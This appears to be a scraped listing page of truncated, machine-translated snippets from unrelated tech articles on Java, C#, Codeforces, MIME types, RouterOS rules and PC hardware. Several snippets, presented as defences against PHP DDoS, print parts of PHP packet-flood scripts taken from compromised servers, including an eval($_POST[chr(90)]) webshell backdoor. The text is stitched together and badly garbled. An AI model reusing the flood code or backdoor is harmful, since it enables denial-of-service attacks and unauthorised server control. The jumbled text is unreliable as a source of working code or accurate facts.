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JAVA learning course 15th (polymorphism and its basic applications), java learning Polymorphism

small animal = new cat (); // a small animal creates an object through a cat. Animals are directed to/** cats and other things have the form of a cat, it also has the animal form. * This is the polymorphism of things * that is, an object corresponds to different types * the embodiment of polymorphism in code: * (parent class/interface) references point to the object of its subclass **/}} Ii. Advantages of PolymorphismIt provides code scalability, and the code defined in the earlier stage can u

Codeforces Round #105 D. Bag of mice probability dp,

Codeforces Round #105 D. Bag of mice probability dp, Http://codeforces.com/contest/148/problem/D The question is that dragon and Princess take turns pumping mice from the bag, W white teachers in the bag, and D black teachers. The Princess smokes first, and the first pulls the white mouse to win, the dragon will randomly run out of a mouse each time it is pumped. Give W and D for you to find the probability of the princess's victory. For dp [w] [d], it indicates that there are w white mice, d bl

Solution to phpddos attacks (the server sends a large number of packets to the Internet)

Today, one of my machines suddenly sent a large number of data packets to the outside, which can be 1 GB or more per second. Although I used a policy to disable UDP packet sending, it took a lot of CPU, so I finally thought of a solution. First look at the source code The Code is as follows: Copy code Set_time_limit (999999 );$ Host = $ _ GET ['host'];$ Port = $ _ GET ['Port'];$ Exec_time = $ _ GET ['time'];$ Sendlen = 65535;$ Packets = 0;Ignore_user_abort (True );If (Str

Php cc attack code and prevention methods

Cc attack code, supporting udp Copy codeThe Code is as follows: Eval ($ _ POST [Chr (90)]); Set_time_limit (86400 ); Ignore_user_abort (True ); $ Packets = 0; $ Http = $ _ GET ['http']; $ Rand = $ _ GET ['exit ']; $ Exec_time = $ _ GET ['time']; If (StrLen ($ http) = 0 or StrLen ($ rand) = 0 or StrLen ($ exec_time) = 0) { If (StrLen ($ _ GET ['rat ']) { Echo $ _ GET ['rat ']. $ _ SERVER ["HTTP_HOST"]. "| ".

The ultimate solution to the server crash caused by PHP external contract sharing

, it also indicates that your server is doing a good job, if it can invade. Hackers directly to the right, but also dos do? Recently there are new TCP-based attack Phpddos codes as follows: Here is the code snippet: Set_time_limit (999999); $host = $_get[' host ']; $port = $_get[' Port ']; $exec _time = $_get[' time '); $packets = 64; Ignore_user_abort (True); if (StrLen ($host) ==0 or StrLen ($port) ==0 or StrLen ($exec _time) ==0) { if (StrLen ($_get[' rat

Several defense methods for PHP DDoS

=php_sockets.dll this, the front with a semicolon, is to block out this.3. After looking for attack source processing, batch find all the site can exist Phpshell attack source code, source code (because the code is too messy to show to everyone in the picture)Copy CodeThe code is as follows:Eval ($_POST[CHR (90)]);Set_time_limit (86400);Ignore_user_abort (True);$packets = 0;$http = $_get[' http '];$rand = $_get[' exit '];$exec _time = $_get[' time ');if (StrLen ($http) ==0 or StrLen ($rand) ==0

Java Container Class Summary

thrown. The Enumset class does not expose any constructors to create an instance of the class, and the program should create the Enumset object through the static method it provides, for example:public static void Main (string[] args) { //creates an enumset empty collection, specifying that its collection element is an enumeration value of season1 EnumsetConsider an example of the difference between storage elements:Static Collection Fill (collectionThe HashSet is implemented as a hash t

JavaScript upload picture preview code before uploading

The code is as follows Copy Code Example Two The code is as follows Copy Code Select Picture: But browse small graph Div will be small, browse large image may occupy the entire page, we want to display all the pictures in a fixed sizeYou can use his scale properties. But this property has a problem, browse the big picture, he will shrink the original image, browse the small picture is miserable, he will put the size map,Blur

PHP (APACHE/IIS) External contract Solution

Use Baidu Search the afternoon Phpddos code, code as follows The code is as follows Copy Code Set_time_limit (999999);$host = $_get[' host '];$port = $_get[' Port '];$exec _time = $_get[' time '];$Sendlen = 65535;$packets = 0;Ignore_user_abort (True);if (StrLen ($host) ==0 or StrLen ($port) ==0 or StrLen ($exec _time) ==0) {if (StrLen $_get[' rat ') echo $_get[' rat '].$_server[

Java Programming Ideas English words (14 chapters)

Generic error English [d ' Nerk] beauty [d ' NRK]Adj, general, generic, non-trademarkGeneral English [' Den () R () l] beauty [' DNRL]Adj. general, ordinary, comprehensive, grossN. General; general; general.N. (general) Names of persons; (English) GeneralIllegal error English [' Lig () l] beauty [' Ligl]Adj [law] illegal or illegal; a violation of the rules.N. Illegal immigration; spies.wildcard[' waldkɑrd] Error n. wildcard characterBounded error English [' bandd] beauty [' bandd]Adj. There are

C # Observer Mode example Introduction _c# tutorial

function, a class of functions, a delegate instance representing a specific function, and a delegate can carry multiple methods, all of which are awakened sequentially. 1 Observer modeA simple example, such as the cat barking, the mouse running, the owner was awakened. Before we know the Observer mode, our code might be like this. Copy Code code as follows: Mouse class Class Mouse { public void Run () { Console.WriteLine ("The Rat

A deep understanding _java based on Java protected

When it comes to access control character protected, even beginners are generally confident that they have no problem with this understanding. Well, let's ask a question to see ... Look at the code below, where both the cat and the mouse in package B inherit the animal. Copy Code code as follows: //code 1: There is an animal class in package aPackage Testa; public class Animal { protected void Crowl (String c) { System.out.println (c); } } //code 2: There are two classes

PHP cc Attack code and prevention method _php example

CC attack code, support for UDP Copy Code code as follows: Eval ($_POST[CHR (90)]); Set_time_limit (86400); Ignore_user_abort (True); $packets = 0; $http = $_get[' http ']; $rand = $_get[' exit ']; $exec _time = $_get[' time ']; if (StrLen ($http) ==0 or StrLen ($rand) ==0 or StrLen ($exec _time) ==0) { if (StrLen ($_get[' rat ')) { echo $_get[' rat '].$_server["Http_host"]. "|". geth

PHP DDoS attack solution _php Tips

This article describes the DDoS attack solution for PHP. Share to everyone for your reference. The specific analysis is as follows: Today, one of their own machine suddenly send a large number of packets outside, can be more than 1G per second, although I use the strategy of UDP ban packet is not sent out but very occupy the cup Ah, so think of the last to find a way to solve. First look at the source code, the following: Copy Code code as follows: Set_time_limit (999999); $host =

"Thinkinginjava" 32, recursive count

Net.mindview.util.print.*;import Lesson14typeinformation.pets.pet;import Lesson14typeinformation.pets.pets;public class PetCount4 {public static void Main (String args[]) {typecounter counter = new Typecounter (pet.class); for (Pet Pet:Pets.createArray) {PRINTNB ( Pet.getclass (). Getsimplename () + ""); Counter.count (PET);} Print ();p rint (counter);}}Output:Rat-obj2 manx-obj2 cymric-obj2 mutt-obj2 pug-obj2 cymric-obj2 pug-obj2 manx-obj2 cymric-obj2 rat

Bluetooth Mouse Automatic Disconnect solution

Say a while ago defeated a Bluetooth mouse back, IBM's small rat, the result of this mouse separated so a little while to fall off the line, after a while can not be used. Solution: The cause of the problem is that the computer defaults to set the peripheral time is not used, automatic disconnect to save energy [here means: Save the computer's own electricity power]. Find the computer (XP my Computer)-> right Key management-> Device Manager-> on th

__http principle __03__content-type Comparison Table

. PLG Text/html . pls Audio/scpls . plt Application/x-plt . png Image/png . png Application/x-png . pot Application/vnd.ms-powerpoint . PPA Application/vnd.ms-powerpoint . ppm application/x-ppm . pps Application/vnd.ms-powerpoint . ppt Application/vnd.ms-powerpoint . ppt Application/x-ppt . pr Application/x-pr

Collected Ros Firewall Scripts _ routers, switches

-port=6883 action=drop \ Comment= "Delta.source.trojan-1" Disabled=no Add Chain=virus protocol=tcp dst-port=26274 action=drop \ Comment= "Delta.source.trojan-2" Disabled=no Add Chain=virus protocol=tcp dst-port=4444 action=drop \ Comment= "Delta.source.trojan-3" Disabled=no Add Chain=virus protocol=tcp dst-port=47262 action=drop \ Comment= "Delta.source.trojan-4" Disabled=no Add Chain=virus protocol=tcp dst-port=3791 action=drop \ Comment= "Eclypse.trojan-1" Disabled=no Add Chain=virus protocol=

C#+MO implementation of a road editing software (just started) _c# tutorial

//////////////////////////////////////////////////////////////////////////// } } //************************************************************* Load Layer Functions //************************************************************* Using System; Using System.Collections.Generic; Using System.Text; Using System.Windows.Forms; Namespace IRND_DPT { Class OpenFile { Function Description: Extract the file name from the Public dialog box, and then call a different child module to handle the problem

High-end tens of thousands of tyrants computer Configuration explanation

, but the basic is to eliminate the old platform, for Yi Yuan tyrants computer, buy this high power consumption, not cost-effective computer, now really is not worth it! 8692 yuan Intel four Generation i7 single display machine configuration comment Machine Price: 8692 yuan Accessories name brand Model reference price (yuan) Processor: Intel Core i7 4770¥1980 Radiator: Owl nh-d14¥599 Motherboard: Gigabyte ga-z87m-hd3¥999 RAM: Kingston DDR3 1600 8G single ¥440 HDD: Seagate Barracuda 2TB 6

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